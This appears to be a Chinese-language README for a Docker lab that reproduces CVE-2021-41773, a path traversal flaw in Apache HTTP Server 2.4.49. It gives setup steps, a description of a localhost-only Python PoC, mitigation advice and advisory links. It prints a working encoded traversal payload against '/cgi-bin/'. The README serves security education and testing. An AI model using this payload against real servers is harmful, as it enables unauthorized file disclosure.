基于 Docker 的实验环境,用于通过受控的路径遍历和文件泄露,使用自定义 Python PoC 复现 CVE-2021-41773(Apache HTTP Server 2.4.49)。
CVE-2021-41773 的复现,这是 Apache HTTP Server 2.4.49 中的一个路径遍历漏洞。
本项目使用 Docker 创建隔离的漏洞环境,并使用 Python PoC 演示受控的文件泄露。
安全说明: PoC 仅接受
localhost、127.0.0.1或::1作为目标。测试必须在隔离的实验环境内进行。
本项目演示:
演示重点是文件泄露,而非远程代码执行。
CVE-2021-41773-Apache-Lab/
│
├── docker/
│ ├── Dockerfile
│ ├── httpd-vulnerable.conf
│ └── secret.txt
│
├── exploit/
│ └── exploit.py
│
├── screenshots/
│ ├── 01-docker-container.png
│ ├── 02-apache-version.png
│ └── 03-successful-exploit.png
│
├── report/
│ └── CVE-2021-41773-Exploit-Report.pdf
│
├── requirements.txt
├── .gitignore
└── README.md
PoC 仅使用 Python 标准库,不需要第三方 Python 包。
在仓库根目录下执行:
docker build -t cve-2021-41773-lab ./docker
docker run --rm --name cve-2021-41773-lab \
-p 127.0.0.1:8080:80 \
cve-2021-41773-lab
请保持此终端保持运行状态。
Apache 服务仅通过以下地址暴露:
127.0.0.1:8080
在另一个终端中执行:
docker ps
容器应显示:
127.0.0.1:8080->80/tcp
docker exec cve-2021-41773-lab httpd -v
预期输出:
Server version: Apache/2.4.49 (Unix)
curl http://127.0.0.1:8080/
应返回 Apache 测试页面。
PoC 位于:
exploit/exploit.py
运行:
python3 exploit/exploit.py
默认目标为:
http://127.0.0.1:8080
默认证明文件为:
/lab/secret.txt
成功运行将产生:
[+] Vulnerability reproduced.
[+] Controlled file disclosure confirmed.
随后 PoC 会显示受控实验文件的内容。
PoC 首先检查目标是否为本地地址:
localhost
127.0.0.1
::1
然后构造包含编码遍历组件的路径:
/cgi-bin/.%2e/.%2e/.%2e/.%2e/lab/secret.txt
请求使用 Python 标准的 socket 模块发送。这使 PoC 能够直接控制 HTTP 请求路径。
存在漏洞的 Apache 2.4.49 服务器处理该构造路径并返回以下文件的内容:
/lab/secret.txt
检索到该文件即确认了路径遍历和受控文件泄露。
CVE: CVE-2021-41773
产品: Apache HTTP Server
演示的受影响版本: 2.4.49
漏洞类型: 路径遍历 / 文件泄露
CVE-2021-41773 是 Apache HTTP Server 2.4.49 中的一个路径遍历漏洞。特制的 URL 可以绕过预期的路径限制,从而允许访问预期目录之外的文件。
在某些配置下,该漏洞可能造成更严重的后果。本项目有意在隔离的 Docker 环境中演示受控的文件泄露。
测试期间收集的截图存储在:
evidence/
证据包括:
主要缓解措施是将 Apache HTTP Server 升级到已修复的版本。
其他防御措施包括:
Apache HTTP Server 安全公告: https://httpd.apache.org/security/vulnerabilities_24.html
NIST 国家漏洞数据库: https://nvd.nist.gov/vuln/detail/CVE-2021-41773
CERT-EU 安全公告: https://cert.europa.eu/publications/security-advisories/2021-054/
本项目仅供授权的安全教育与受控的实验室测试使用。
Docker 环境和 PoC 专为本地测试而设计。请勿对您不拥有或未经明确授权评估的系统使用该 PoC。